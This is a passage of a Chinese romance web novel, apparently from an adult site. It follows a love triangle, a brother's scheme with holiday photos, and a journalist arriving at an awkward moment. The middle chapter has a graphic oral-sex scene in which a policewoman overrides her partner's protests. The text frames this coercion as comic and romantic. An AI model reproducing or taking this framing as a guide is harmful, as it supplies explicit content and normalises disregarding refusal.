我的警花爱人[全本]-10 - PWXXX视频
精品分类
本站推荐
合作伙伴
我的警花爱人[全本]-10
分类:长篇连载 人气:47 时间:2024-09-24
第六十六章 反奸
“先到我家吃饭,陪陪我妈。”芳袭余晕未消,依旧楼着他脖子。
“行,我会祝她老人家一路顺风的。”刘憬嘿嘿笑着说,他热烈无比盼着这一天。
“坏蛋!”芳袭嗔了一眼,又把小嘴递了过去。
浅尝辄止的吻虽美,但总是不够。两个小情人一下下地对着嘴唇。一辆奥迪车自团市委大门内驶出,缓缓停在路边,车窗下滑,露出郭军地脸。
两人分开,芳袭拢了下头发,拘谨地道了一声:“郭书记。”
刘憬止住惊愕,走上前道:“大哥,你调团市委当书记了?”他只知道郭军是市委办公厅副主任,没想到又升了,团市委是正局级单位,而且是专门培养主力干部的,就算抛开郭铤,也绝对是一方诸侯了。
“哦,刚过来,昨天才报到,今天算第一天正式上班。”
郭军收回打量两人的诡异眼光,对他道:“你身体没事了吧?”
“谢谢大哥,没事了。”刘憬估计问的是西藏落水的事。
郭军点点头,把目光投向小老虎。刘憬尴尬了一下,介绍道:“大哥,这是我女朋友郑芳袭,你们办公室的。”
“是吗?你怎么不早说?”郭军短暂错愕,表情迅速热情了起来,抠开车门就想下来。
刘憬忙道:“大哥,你别下车了,我们也要走了。”
“那好,我就不打扰你们了。”郭军略做犹豫,关上车门,又对芳袭道:“小郑啊,刘憬是我妹妹同学、好朋友,还救过我妹妹一命,关系相当不一般,以后你有什么事直接找我,可千万别不好意思。”
“谢谢郭书记。”芳袭瞥了爱人一眼,不卑不亢地点了下头。刘憬苦笑,郭大书记可真是的,啥叫相当不一般?有这么说话地吗?
“客气什么,呵呵。”郭军转回头,又对刘憬道:“小刘,那就这样,我先走了。有事跟大哥吱声,记得带小郑到家里玩。”
“大哥走好,我会的。”刘憬颇为无奈地摆了摆手。郭大书记说这番话,明显没安好心,这下小老虎又该疑神疑鬼了。
奥迪车开走了,小老虎脸一拉,冷冷地瞅着他。刘憬连忙凑上前:“芳袭,你可别瞎想,我和那同学真没什么!”
“那好。你告诉我。”芳袭表情稍缓,但态度依旧严肃。
“他什么意思?你什么时候救过她,又为什么瞒着我?”
“我哪是瞒你,是根本不值一提。实际就是那个齿轮,当时吧……”刘憬边解释。边搂着不爽的小老虎向车站走去。
郭军没有走远,很快把车停在路边,探头远远望着两人。
郭蝈回来后,突然取消了吃饭,刘憬又蹦出个女朋友,他如何心安?见两人上了公交车,他转回身,想想后掏出手机。
“喂。兴祺吗?我军子。”郭军打通了张兴祺的电话。
“哟,郭大书记,今天这么闲,有空给我打电话?”电话里传来张兴祺热情的声音。
“你帮了洋洋那么大忙,我是特意向你道谢的。”
“你少来这套,洋洋就不是我妹妹了?”
“呵呵,那当然。”寒喧了几句。郭军介入正题了,“兴祺,我问你个事,你觉得他俩怎么样?”这话问得很巧妙,好象征求意见似的,既显得尊重,又不动声色。
“不错,相当不错。”果然张兴祺乐了,呵呵一阵笑,“哎呀,军子,你是不知道,那俩人甜地,在林芝大街上载歌载舞不说,抱着都不肯分开,给我们夏兰妒嫉够呛!”
“是吗?”郭军闪着眼,脸上的惊讶绝不是装的。
“怎么,你不信?”张兴祺很为两个年轻人高兴,越说越来劲,“夏兰照了不少照片,都在我这儿呢,正想给洋洋发过去,这样吧,我发给你,让你先睹为快!”
“那好。”郭军双眼一亮,紧捏着电话道:“晚上我跟你联系,你传给我。”
“你倒着急!”
“废话,我那是亲妹妹,跟你能一样吗?”
两人又聊了几句,郭军收线起动车子,向家里快速驶去。
街头,下班的人群涌动不息,郭军的奥迪迅速被车流淹没。
郭家,白小青正在厨房准备晚餐,忽听门响,忙收起围裙迎出。
“妈。”郭军问了一声,晃晃走进。
“小军来了,我还以为你爸回来了呢?”
“我爸什么时候这么早回来过?”
白小青笑了笑,重新系上围裙:“还没吃饭吧,小娇今天来不来?”小娇是儿媳蒋娇,郭军的妻子,S市地税局公务员。
“她有事,我就是路过,顺便来看看。洋洋呢?”郭军没多说,他跟继母很融洽,但也只是融洽,谈不上多亲,当然妹妹不一样。
“楼上呢,等会吃了饭再走吧。”
“行,妈你忙,我上去看看洋洋。”郭军大踏步奈楼梯去了。
“你去吧。”白小青应了一句,返回厨房。
房内很静,夕阳从窗外洒进,映着屋内浅浅的色调。郭蝈趴在床上,百无聊赖地翻着一本《宋词鉴赏辞典》。她喜欢宋词,象江南满城的风絮中,翩飞的蝴蝶轻盈掠过,总让她宁静美好。和刘憬见面次数不多,她在一首首玲珑地小令里,度过好多见面相隔的日子。
这次她有些等不及,整整三天,刘憬还没跟她联系,交待地三件事,一件都没有影。“讨厌,都兄妹了,还不来找我?”郭蝈看不进了,把书扔开,扁嘴坐到床边。
“笃笃笃!”外面传来敲门声。
郭蝈推了推眼镜,起身把门打开:“哥,你来了?”
郭军没答话,看了看妹妹,径自进房扯了张椅子坐下。郭蝈坐回床边,打量着哥哥问:“哥你怎么了,怎么不说话?”
郭军痛心地看着妹妹:“洋洋,你跟哥说实话,你和刘憬究竟怎么回事?”郭蝈心一沉,倔强地道:“没什么啊,我自己的事,不想你们跟着掺乎。”
“还骗哥。”郭军叹了一声,眼里透着埋怨,“他有女朋友了对吗?我都看见了,还是我们团市委的呢。”
“是吗?”郭蝈并不知道小老虎工作单位,有些意外,随即黯淡了下来。郭军暗暗摇头:“洋洋,跟哥说,你俩到底怎么了?”
郭蝈抬起头,迎着哥哥的目光:“哥你别问了,我心里有数。”郭军有些头疼了,耐心道:“洋洋,感情靠缘分,但自己也得争取,象你这样是不行你地。”
郭蝈没说话,眼光略有些迟疑,似想听听哥哥的意见。
郭军把椅子拉到妹妹身前:“洋洋,听哥一句,刘憬肯定喜欢你,你要真舍不得,就去把他抢回来!这没什么,你这么漂亮,咱家又啥不差,怎么能输给一个普通人?”
郭蝈脸一变,闪了闪眼道:“哥,感情是两个人的事,跟家世长相有什么关系?”
“可你总得主动点吧?”郭军有些挠头,甚至无语,“你成天这么闷着闷着的,全靠被动等待能解决问题吗?”
郭蝈有些窘,固执地道:“我自己的事我心里有数,不想靠家里的力量,勉强得到的东西我也不想要。”
郭军真无语了,他就弄不明白,全家人都精明强干,做事张驰有度,怎么就这个妹妹是个怪胎?还什么都听不进去。
郭蝈有些过意不去,缓了缓颜色道:“哥,你就别管我了,我都已经长大了,我自己的事情自己能处理好。”
“你长到一百岁也是我妹妹!”郭军扔下一句话,转身走人了。
郭蝈关上房门,默默站到窗前。远处地天空很美,象极了她心里的梦,只是人在眼前,梦在心里,哪个更远,哪个更近?她不知道答案,但相信心上人和自己的未来都会象天空一样辽远。她不是期待什么奇迹,只是相信缘分,更确信自己没做错。
次日,郭军下午才上班,带着一堆刚刚打印的照片。到了办公室,他匆匆喝了口水,就迫不及待地找出机关电话表,然后抓起电话。
对着电话的按键,他又有些犹豫了,不知该不该这样做。
如果那个人不是刘憬,郭蝈不是他妹妹,他肯定不会,可惜那个人不仅是刘憬,郭蝈更是他妹妹,亲妹妹,所以他做了。两个人经历了那么多事,他确信这是某种缘分,觉得该为他们做些什么。
电话很快通了,郭军亲切地道:“小郑同志吗?我是郭军。”
“哦,郭书记您好,有事吗?”
“呵呵,没什么大事。”郭大书记靠到椅背上,微笑着说,“前几天小刘和我妹妹去了趟西藏,那边的朋友给照了几张像,昨晚刚刚传给我,我多印了一份,你什么时候不忙,就过来取一下,代我交给他。”
“谢谢郭书记,我这就过去。”芳袭平静地说。
放下电话,郭军迅速把照片翻看了一遍,然后装好放在桌角。他不敢说这些照片会把两人拆散,但确信会发生些意想不到的作用,哪怕在两人间系个疙瘩。生命总有不能承受之轻,爱情更是如此。
第六十七章 制服强奸
“笃笃笃!”外面传来敲门声。郭军调整好表情,热情地迎了出去。
团市委的走廊很长,静静地象一条深巷,花儿在窗台上绽放,阳光懒懒地从外切进,那些寂寞的美丽象闪着金边的光。
芳袭坐在办公桌前,轻咬着嘴唇,一张张地换看手里的照片,呼吸越来越重,表情也越来越严峻。照片上的女孩儿很漂亮,说不出的温柔可人,或牵着爱人的手,或偎在爱人身边,眼中流淌的浓浓的幸福,即使隔着眼镜片,她仍能清楚地读出。
在一张以蓝天为背景的照片前,她停住了。这张像照得极有水准,以七十度斜角自下而上拍摄,西藏高渺浩瀚的蓝天占据着背景的绝大部分,照片正中,一群身着民族服饰的藏族孩子张着双手,如莲台般托着一对拥抱的人,周围的街景、店铺,载歌载舞的欢乐人群,所占空间极小,但那份热烈,仍极大限度地烘托着气氛。
那份深深的拥抱,使整张照片都充盈着一种强烈的幸福感,加之蓝天的映衬,这种幸福感高大而神圣,显得荡气回肠,凛然不可侵犯。
芳袭心里好疼,浓浓的疼痛,目不转情地盯着那女孩儿。好甜美的笑容,好倾心的依赖,好深刻的陶醉,就连那丝仅有的羞赧,都蕴着无比的骄傲。这表情她懂,很熟悉,也相似,女孩儿正爱着,和她一样。
“为什么会这样?他在骗我吗?不可能的,怎么可能?”
芳袭脸色刹白,眼中凄苦,心里的疼痛逐渐化为怒意。
“骗子!”芳袭大叫一声,双手猛地一顿,照片四溅激飞,缓缓散落在桌上、地下。
望着照片上对对幸福的身影洒洒而落,芳袭两眼一亮,忽然意识到了什么。连忙起身,将照片一一捡起。她把照片铺开在桌面,热切地望着,终于明白了什么。
所有的照片都是双人合影,没有一张单人照,这意味着什么?昨天晚上刚遇到郭军,今天就给她拿来照片,这又意味着什么?联系到昨晚刘憬曾解释,说他救过这个女孩儿。那么答案就是,这个女孩儿和自己一样。深深喜欢着自己的爱人,而身为哥哥的郭大书记,不过是个搞阴谋诡计的跳梁小丑。
“还领导干部呢,可恶!”芳袭释然。咬牙切齿,不忿加不屑。
芳袭很率真,也容易冲动,但并不愚蠢,而且也很幸运。
郭军并没有筛选照片,就是筛选,也不会犯这种低级错误,因为没单人照。他说的很准确:多印了一份。的确是多印了一份。照片多是夏兰抓拍地,她受到刘憬和郭蝈两人幸福的感染,照的全是合影。
“可为什么照那么多合影呢?”看着桌上一张张幸福的照片,芳袭又开始吃醋,继续而转为怀疑。“他会不会偷偷喜欢她呢?”芳袭不安了起来。
桌上的手机忽然响了,正是刘憬。
“哼!坏蛋,肯定还有事瞒着我。”小老虎噘着嘴。气哼哼地把电话接起。
下午的阳光很盛炽,刘憬夹着小包,兴奋地从电脑城中转出。他在里面磨了两个半小时,说得口干舌燥,表现了无数真诚,终于成功地卖出一百多个路由器。
美好的爱情总是催人奋进,这话放刘憬身上确有道理。五一后短短三、四天,他签了好几笔小单子,虽与想像中的大单子有相去甚远,但五、七千块,总还是到手了,放在以前,这种小生意他向来是不屑一顾的。同事们也明显地感到他精神面貌地变化,连经理邓继红都觉得他象换了个人,暗暗称奇不已。
“该死的天气!”刘憬擦了把汗,准备到马路对面去坐车,腰间地手机忽然响了。他掏出一看,是秦玉瑕,他接通。
“什么事,今晚要值班?”刘憬开口就问。玉瑕以前总要值班,两人同居后,还一天没值过,他故有此问。
“不是。”玉瑕笑笑,“电动车给你要来了,过来取吧。”
“这么快?谢谢。”刘憬很感动,也很温暖,不是为电动车,是为这份念挂。
“哼!你也知道我对你好?”玉瑕一阵幸福的委屈。
刘憬嘿嘿一笑,又恢复一贯的无耻:“玉瑕,你帮我要了几台?”
“你说呢?小男人!”玉瑕咬牙切齿,说完恨恨把电话挂了。
刘憬把手机塞回腰间,心头满满。玉瑕对他真的很好,他无法否认自己地感觉。和小老虎在一起,是种惊悸而轻灵的心动,很有男人的成就;玉瑕则是不同的体会,仿佛被什么东西暖乎乎地围着,什么都不用想。有人说,男人很多时候,象个永远长不大的孩子,认识玉瑕后,这话他信了。
到交警队要倒车,刘憬直接打车去了。下车交钱时,的哥以一种警惕、担心,又狐疑的眼神打量着他。不就跑趟交警队,至于紧张成这样吗?刘憬这个无语。据说交警是平均寿命比较低的职业,因为经常呼吸汽车尾气,他不清楚这影响有多大,但知道人活着都不容易。
交警队门口,刘憬准备跟大门说一声,然后进去。两辆摩托呼地冲出,在他身边嘎然停住,差点撞到,他吓一跳。
“哟,这不是姐夫吗,来得挺快呀?”董乐扬起面罩,一脸促狭地望着他。旁边地田豫躲在面罩后,傻兮兮地憋着笑。
刘憬定了定神,打量了两女一番,对董乐道:“半拉屁股自己送上门,我能不来快点吗?”
董乐没听明白,和田豫对望一眼,不解地道:“你不是来取电动车吗?胡说什么呢!”刘憬没稀得理她,转身跟大门打了个招呼,才一脸坏笑地凑到她面前。
董乐闪了下身:“你要干嘛?”
“不干嘛,教你一句话。”
“什么话?”
刘憬盯着她,一字一句地说:“小姨子半拉屁股归姐夫。”
“噗!”田豫没忍住笑出了声。董乐一张脸立时胀红,一双眼由横着变成竖着了。刘憬哈哈一笑,向院内扬长而去。
“无耻!”董乐牙缝中挤出两个字。面罩一拉,摩托火暴冲出。
交警队大楼前,停着一溜各色车辆,两辆电动车贴墙而立,在阳光下锃锃闪亮。刘憬凑过去看了看,是两辆捷安特,都挺新的,而且款式一模一样。
“玉瑕真蠢,怎么搞两辆一样的?”刘憬不禁摇了摇头。
他曾在起点看过一部叫《妻不如妾》的小说,里面的男主人公送两个女人一样的化妆盒。结果私情败露。
教训啊,送女人东西不能送一样的,不过还好,和郭蝈算不上偷情!刘憬胡乱发了阵感慨。得意洋洋地进楼了。沿途跟人打听了下,他来到玉瑕办公室门外,轻轻敲了敲门。
“老公,你来了?”门开了,露出玉瑕如花地笑脸。
“嗯。”刘憬点了个头,闪身进入。
“还挺快。”玉瑕向走廊望了望,把门锁死。
“正好在外边办事,打个车就过来了。”刘憬应了一句。
“看见车了吗?”玉瑕返身走来。
“看见了。”刘憬带着欣赏的眼光打量着眼前人。
玉瑕没穿外套,制式衬衫掖在警裤内,双腿修长,小腰精细,上下是超级豪挺地双峰和宽大高翘的臀部,还有那头长发,必须提一提那头长发。刘憬很喜欢这种发型。但又不知如何形容,就是把部分头发随意束在后面,叠在其他头发上一起披散,虽不似纯披肩发那般柔美,但却添了许多洒脱,很象TVB武侠剧中的人物。
望着眼前挺拔飒爽,英姿性感的警花,刘憬又觉得象做梦一样,不敢相信这是属于自己的女人。
玉瑕美眸如水,低头看了看自己,欣喜地走至他面前:“老公,我漂亮吗?”
“漂亮,很漂亮。”刘憬由衷地说。
玉瑕脸上掠过一丝羞晕,一级警司的肩牌闪闪发亮:“你喜欢我穿制服吗?”
“嗯,你穿什么都好看。”玉瑕的美丽迫得太近,刘憬移开眼光,想坐到一旁的沙发上。
玉瑕美美一笑,一把抓住他手臂:“走,到里边坐。”
“上里边干嘛?外边多亮堂!”刘憬不自觉回头,看了看房门。
玉瑕笑而不答,直接把他扯了进去。
寝室的空间小得多,摆设也很简单,一桌一椅,一张单床,花草数盆,并无特别之处,但却处处透着温馨。
玉瑕把他拽到床边,又回身锁上门。床铺很整洁,天蓝色地床单隐隐散着她身体的清香,刘憬挪了挪坐起:“玉瑕,你老锁门干嘛?”
“给你看样东西。”玉瑕打开抽屉,拿出个盒子,坐过来递给他。
晕!居然是个假阳具,还没开封呢!刘憬惊道:“你还真买了?”
“嗯。”玉瑕满不在乎地点了下头,却未能掩住脸上地羞窘之色。
刘憬看了看手里的东西,探身问道:“你买它到底干嘛?”
“不告诉你。”玉瑕把东西抢过,羞羞一瞥,还带点委屈。
刘憬不好多问,但很迷惑。玉瑕举着盒子,认真道:“你好好看看,是不是跟你的型号差不多?”刘憬汗了一个,尴尬道:“貌似……比我的稍大。”
“怎么会?我觉得差不多呀!”玉瑕目光移到他髋下,将手里地东西一摆,“掏出来,掏出来比比?”
刘憬暴寒,忙拧过身:“你有病啊?这有什么可比的?”
“比比怕什么?你那东西我又不是没见过!”玉瑕不由分说,猛地推了他一把。
“哎!”刘憬一个不防,跌倒在床。
“嗤一一!”玉瑕准确地拽开他拉链,伸手就往里掏。
“喂,你还真……”刘憬又气又急,手忙脚乱,忙把她弄开。
“嗤……”刘憬将身一闪,重新拉好拉链,护住下身。
刘憬两眼贼溜溜转,完全一付防色狼似的样子。玉瑕噗哧笑弯了腰:“看你那样?我又不是别人,不就比比大小,又不是什么丢人事,你至于吗?”
“这是什么东西,能随便比吗?”刘憬忿忿不平,没好气地说,“我五尺多高,你让我跟它比,这不骂我吗?”
“哪儿骂你了?”玉瑕笑得不行,扯住他道:“老公,我实话告诉你,人跟我说了,这是按泰森的原型做的。泰森是谁你总该知道吧?那是拳王啊,还是黑人!你是中国人,就算真比它小,也没什么可丢人的,何况你又不见得比它小!来,拿出来看看?”
“看什么看!”刘憬气冲冲地将她格开,“太森少森的,你一天都想什么呢?无聊!”
“你才无聊呢!”玉瑕气了,拢了下头发,“我今天非比不可!”
话音未落,玉瑕就扑了过去,刘憬连忙挡住,两人在床上揪扯扭打起来。玉瑕长发翻飞,如疯了般,迅猛得如一头发情的雌豹,招招奔他下身要害;刘憬虽然力大,却怕伤到她,一时有些遮拦不住。
同居几天。闹着玩已成了两人一种习惯,一种居家生活的快乐方式,玉瑕早就吃透了他,全无顾忌,很快,就成功地捏住了拉锁。刘憬大惊,一把攥住她的手。两人一个想拉,一个不让,在关键处僵住。
玉瑕拉不动。银牙一咬,借着他的手劲。猛地向下按去。
刘憬下体吃疼,急改攥为揪,抓着他的手,想往向上扯。玉瑕见状。不顾垂乱的长发,忙借机拽拉链。
“嗤……嘎呗!”揪扯中,拉链拉开大半,拉锁坏了。
两人都愣住了,刘憬张着嘴巴,玉瑕举着扯断的拉锁,两人面面相觑,对着他的裤门。那里。拉锁不仅被扯断,两侧地拉链也被扭得错落,上下两个洞正成倒葫芦型,可以看见里面鼓囊囊的一堆内裤。
“对不起!”玉瑕噗一声笑倒,“你这什么裤子?该不是……假冒伪劣吧?”
“你才假冒伪劣呢!”刘憬气激,猛推了她一把就想扭开身。
“啊!”玉瑕一声惨叫,一头撞到他关键处。
“你疯了!”刚才那下还没消疼。又被撞,刘憬气激,又想去推。
“别碰我!”玉瑕大叫一声,惊恐无比。
“怎么了?”刘憬恢复冷静,收回双手。
玉瑕哭丧着脸,指着他下体,“头发……头发被拉锁夹住了!”
刘憬差悬没栽地下去,忙凑过去看。果然,断裂的拉锁处,一缕乌发死死夹在里面。他弯下身,用巧劲、死劲、吃奶劲,连拽了好几次,坏拉划纹丝不动。
“老公,怎么办哪?”玉瑕望着他,带着哭腔问。
刘憬既好气,又好笑:“活该!谁让你那么无聊?”
“现在说有什么用?快想办法呀!”玉瑕啪地打了他一巴掌。
刘憬气道:“还能想什么办法?用剪子把头发剪断呗!”
“剪子在外屋呢,得出去。”玉瑕不好意思地咧了咧嘴。
刘憬真要昏了:“那就赶紧去拿吧,还等什么?”
“那你小心点哦,要跟我好好配合!”玉瑕红着脸,可怜兮兮。
两人情发相牵,必须同时行动,可玉瑕仍噘着屁股跪在床上,刘憬往床边稍挪了挪:“你先下地,然后我再起来。”
玉瑕点点头,紧盯着发丝和裤门间的距离,小心翼翼地探下一条腿。刘憬怕她揪疼,也挺着腰往前挪,渐跟渐进。
玉瑕看到他裤裆内鼓鼓的短裤,眼珠一转,忽然又把腿收了回去。刘憬奇道:“你不赶紧下床,怎么又上来了?”
“你说呢?”玉瑕狡黠一笑,得意地挤了挤眼睛。刘憬惊道:“玉瑕,你想干嘛?我可提醒你,我们都说好了?”
“嗯咳。”玉瑕堂而皇之地去解他裤带,大咧咧道:“我也提醒你,我头发还夹着呢,千万不要乱动哦,会弄疼我的!”
刘憬狂晕,这不趁火打劫吗?太无耻了!他就没见过这么会抓机会的女人。
玉瑕笑嘻嘻解开他裤子,稍稍褪了褪,因为拉锁坏着,又连着她头发,褪不了太多,但已足够。刘憬叹着气,这个无奈,可要说让他辣手催花,不顾玉瑕,硬生生扯开,还真办不到:“玉瑕,你张嘴闭嘴我是你男人,你这样做,可真是不尊重我了?”
“你少跟我扯!”玉瑕撇着嘴,不满地斜了他一眼,“你现在知道是我男人了,你什么时候把我当你女人了?给过我什么?你认真地抱过我、亲过我,哪怕一回吗?”
刘憬没话了,还有点郁闷。本来挺正常的事,整的象理亏了似地。
玉瑕眼圈微红,把自己都说委屈了,又低着头道:“我已经把你让给她了,太不了你那第一次我也给你留着,算我欠你的,其他地……都得是我的。”
刘憬听得直心酸:“玉瑕,你怎么又说这些?我跟你说多少遍了,我根本不在乎那个东西,就是碰巧,从小的追求包含了那个内容,你何必老耿耿于怀?你老公死那么久了,你动不动就拿那点事寻思别人。这对死者、生者,还有你自己,都是不公平的,这些你想过没有?”
“我怎么耿耿于怀了?还不是你!”玉瑕美眸蕴泪,怨气十足,“我老公是死了,可我又没对不起他,有什么耿耿于怀地?可你呢?说我动不动就寻思那点事?你不想想,我已经把你当老公了。连名份都没要,你成天留着这个。留着那个,我是寡妇啊,你说我会怎么想?”
刘憬又没话了,还真就理亏了。
玉瑕流眼泪了。不停地用手背抹眼睛。
刘憬掏出手绢,递过道:“你看你,有什么可哭的,都多大了!”
玉瑕不理,一把推开,继续流泪。
刘憬无奈,直接去给她擦:“别哭了,不就那点事吗?你要不信。赶紧找个剪子,然后你想要什么,我全给你,省着你以后老跟个千年怨妇似的。”
“说真地?”玉瑕止住哭,挂着泪眼望着他。
“当然是真的,我什么时候说话不算数?”刘憬这话可有点大了。
“你不后悔?”玉瑕抢过手绢。
“有什么可后悔的。”刘憬叹息一声,靠到被褥上。“反正你和小老虎两个人,总要有一个对不起,不是你就是她。你一天竟事,她迟早都要对不起,满足你好了。”
玉瑕破涕为笑,还有些不好意思:“那倒不用。我秦玉瑕说话算话,说把你第一次留给她就留给她,不过别的,就别怪我不客气了!”
“行。赶紧找剪子去吧。”刘憬这个干脆。
“你少来,找完剪子谁知道你会跑哪去?”玉瑕占据天时地利人和,说话底气忒足,“就这个状态,你呆着不用动,随便给我个第一次,我就信你。”
刘憬啼笑皆非:“行。你不要比大小吗,就把这个给你好了。”
“去,有真的用,谁还比呀!”玉瑕哼了声,嗖地把泰森撇了。
说完,玉瑕挑畔般地看了他一眼,拿手绢在脸上涂了两把,慢慢俯下身,张开双唇,探出舌尖,隔着内裤温柔舐舔。
这种感觉很别致,有些轻微地麻痒,主要作用是挑逗。刘憬还是品牌处男,视觉刺激就已经很受不了啦,哪受得了这个。那东西迅速膨胀,将短裤撑得老高,大有别出之势。
玉瑕见差不多了,笑嘻嘻地扒开他短裤,那大根弹跳而出,她轻轻握住。刘憬颇有些紧张,把姿势调整了一下,准备奉献这个第一次,被制服强奸的第一次。
玉瑕用双手握住,快速撸了几下,睁大眼睛道:“老公,你真的好大,一点不比那个差!”
“应该的,男人嘛!”刘憬牛逼满满地谦虚了一把。
玉瑕咯咯一笑,似娇似嗔:“我要开始喽,老公,你准备好。”
“痛快地吧,一会儿来人了,真是的!”刘憬老不耐烦地样子。
玉瑕调皮一笑,促狭道:“老公,别紧张哦,我会很温柔地。”
刘憬眼皮大翻,对这等女人,他相信任何男人都会败北的。
玉瑕美美笑着,轻柔细腻地抚摸了一会儿,然后慢慢张开小嘴,将他轻轻纳入。刘憬心里怦怦乱跳,亲眼目睹着自己进入她那温软的所在,忍不住口水大咽。
玉瑕妩媚地瞥着他,时而倾着玉面,以双唇滑动,上下舔弄;时而垂首轻含,以香舌覆盖,划圈撩拨,万千柔情,都倾注在唇齿之间了。
“靠,还真他妈舒服!”下身地酥爽沿脊椎一波波传到大脑,刘憬不自觉地放松了身心。
玉瑕抬了下眼,玉口一张,深深含入,螓首上上下下,慢慢动了起来。看着玉瑕性感的两腮微微撑起,感受着自己热度和硬度逐渐加强,刘憬舒服地闭上了眼睛。
玉瑕偷偷一笑,开始大幅度地吞吐,身后的屁股蹶得老高,还不时拢着垂落的长发。
刘憬似意识到什么,忽然睁开双眼。不对,我被强奸了,应该生气才对,怎么享受上了?
玉瑕见了。吐出问道:“怎么了?”
“哦,没什么。”刘憬忙止住那些胡思乱想。
“老公,你喜欢吗?”玉瑕含笑相询,带着三分羞赧,七分热切。刘憬望着眼前绝美的女人,伸手抚了抚她的脸,很坦率地说:“喜欢,很喜欢。”
玉瑕笑了,美靥掠过一丝幸福的红晕。再度低下了头。
刘憬一直不太敢确信玉瑕和自己间的真实,此刻地景象。则让他真实地如梦似幻了。鼎鼎大名的第一警花,女子骑警队队长,S市交警地形象代言人,竟在机关大楼内。在自己的办公室里,身着神圣的制服,蹶着诱人的屁股,以这种淫荡的姿势为他做这种事!
他很想告诉自己这仍然不是真地,可眼前的景象,身体的感觉,心内的感动,都在清清楚楚地昭示着这一切。这是个很真实地女人。正为了他,展示着自己最真实的一面。
玉瑕由慢到快,逐渐加剧了吞吐地速度,一手配合着搓弄、转动,另一只手,则在他腰髋、小腹、以及两股间抚摸,或以指尖轻轻划过。
“哇。真不是人受的!”刘憬感觉愈加激昂,传来的紧迫力和热胀力一浪强过一浪,小腹中如一团火在高速旋转着燃烧。
“唔……唔……嗯!”玉瑕眉目半合,大力吞吐,口鼻中发着温柔的呻吟声,不时以媚惑地眼波瞄他,还有纤腰后高高蹶起的屁股,象一只巨大的肉葫芦,随着吞吐的动作扭来扭去,真是说不尽的风情万种,道不完的旖旎香艳。
“哎,玉瑕……”刘憬是个健康男人,又固执地杜绝了某种习惯,全靠日常生理现象自发解决,逐渐顶不住了,只好厚着脸皮提醒。
玉瑕含着东西向他一笑,调皮地挤了挤眼,开始强力加速。
“哦!”刘憬腹部肌肉骤然绷紧,紧着着一阵剧烈激冲。
玉瑕眼光一闪,赶忙含紧,加快手部动作,迎接强力喷薄。
“呼!”终于结束了,两人同时喘了口气。
玉瑕舔了舔嘴唇,望着他问:“老公,舒服吗?”
“嗯,舒服。”刘憬尴尬一笑,拿起手绢,抹去她唇边残留的一痕。
玉瑕温柔地笑着,趴在他身上:“老公,你过来。”刘憬俯下身。玉瑕贴着他耳边道:“我告诉你,虽然你是第一次,但我也从没吃下去过,你不算亏的。”
刘憬苦笑,抚着她地脸道:“玉瑕,我真不象你想的那样,如果你不喜欢,没必要做。”
“没有啊,很正常嘛。”玉瑕扬了扬眉,又盯着他的眼睛说,“我还要提醒你,今天你跟我做了这个,以后就真是我老公了,是我的人了,以后不准备再跟我假正经,推三推四的。”
刘憬再度苦笑:“你这就不对了,就是合法老公也有人权,别告诉我你不知道,现在婚内强奸罪也是成立的。”
“你什么意思?”玉瑕立马就想坐起身,“你还跟我……”
“注意头发!”
玉瑕忙将身弯下。刘憬笑笑摇头,俯身把她的头搂在怀里:“玉瑕,你放心,我说话算数,你要真一直跟着我,我该做地都会做到,不仅是对你,还有多多。”
“这还差不多。”玉瑕环上他的腰,闭眼享受他的怀抱。
刘憬暗暗叹息,把她扶起:“好了,出去找剪子吧,要不真来人了。”玉瑕起身,温柔地把他裤带整好,两人小心地下了床。
这是个古怪的姿势。玉瑕弯着腰,蹶着屁股,双手扶着他髋部,长长的秀发从两颊垂落,脸仍对着他那个地方;刘憬扶着她双臂,心中不停发笑,两人就这样挪了出去。
“笃笃笃!”两人好不容易挪到办公桌前,还没等找剪子,门外传来轻轻的敲门声。
两人对望了一眼,玉瑕对着门道:“等会儿。”
门外没动静了,可剪子也一时找不到了。玉瑕蹶着屁股,上翻下翻,东抽西看,一个劲纳闷,我记得就在这儿呀?怎么会找不到了呢,时间一分一秒过去,刘憬直着急,不时贴到她耳边建议。会不会在这儿?会不会在那儿?没有剪子指甲刀也行?
终于,在一只本夹子中,剪子被成功翻出,两人结束了牵连状态。玉瑕手扶着后腰,痛苦地直起身,一中午的作业,又蹶着屁股找了半天剪子,她腰都酸了。
腰酸还罢了,好在看不出来,可刘憬的裤门还见不得人。
玉瑕掩嘴一笑,揽住他重重一吻,把剪刀交到他手里。
刘憬拿着剪子返回内室,边走边抹着嘴唇,真他妈反胃!玉瑕对着镜子,迅速把自己整理了一番,带着女人的骄傲和自信,大大方方把门打开。
一女子推了推眼镜,微笑着伸出右手:“是秦队长吗?终于有幸见到您了,您好。我姓郭,是省人才报的记者,上午和您通过电话,请问能接受我的采访吗?”
刘憬正在里边闷头整理拉链,闻言差悬滚下床去。居然是郭蝈,她来凑什么热闹?
第六十八章 智斗
作为省人才报《数风流人物》的专栏记者,郭蝈采访玉瑕没什么不正常;碰巧遇到刘憬,也没什么不正常;裤门坏了大不了硬拽开,就当忘提拉链了,也说得过,可关键是两人为了找剪子,鼓捣了太长时间,再加上前两个因素,这就不正常了。
试想一下,郭蝈在门外等了很久,进门发现有个大美女,再发现刘憬藏在这里,又发现他拉链没提,她会怎么想?别说真有事实,就是开玩笑,也不能用这种方式。
“唉,我说什么来着?这种情况,肯定会遇到熟人!”刘憬望着被硬扯开,貌似忘提的拉链,一个劲地郁闷。
午后的阳光斜斜地洒进,映着两个明媚的女人。玉瑕大方地握手:“不好意思,郭记者,让你久等了,快快请进。”
郭蝈笑着点头,随即进入。
玉瑕把她让到沙发上,又沏好了茶,坐到她身边:“郭记者,真对不起,上午接完你电话,正好碰到点事,就出去了一趟,中午就睡过油了。”她在办公室等到两点多快三点,以为记者不能来了,才给刘憬打的电话,没想这个时候来了。
“秦队长太客气了,说对不起的应该是我,本想早点,可耽误了一会。”郭蝈端起茶杯,不无歉意地道:“您工作这么忙,能抽时间见我,真是感激不尽。”
“应该的嘛,都是为了工作。”玉瑕挥着手,大萝卜脸不红不白。
象很多人一样,每到新环境,总会习惯性地观察,所以郭蝈也观察了。她捧着茶杯,刚一抬眼,就看到办公桌上的小包,脸上的笑容瞬间僵住。忙推了推眼镜,定睛去望。那是刘憬的包,她当然认识。
同样的包有很多,但感觉不一样,何况作为记者,采访前通常会对采访对象做一般性了解,联系到刘憬认识个交警,还说要给他弄电动车,家里又住着个亡夫是刑警的女人。她立刻明白了。
“天!这个秦队长亡夫不就是刑警吗?原来是她!刚刚那么久才开门,他们……在干什么呢?”郭蝈不自觉地转过头。
望了望玉瑕,又缓缓向内室房门飘去。
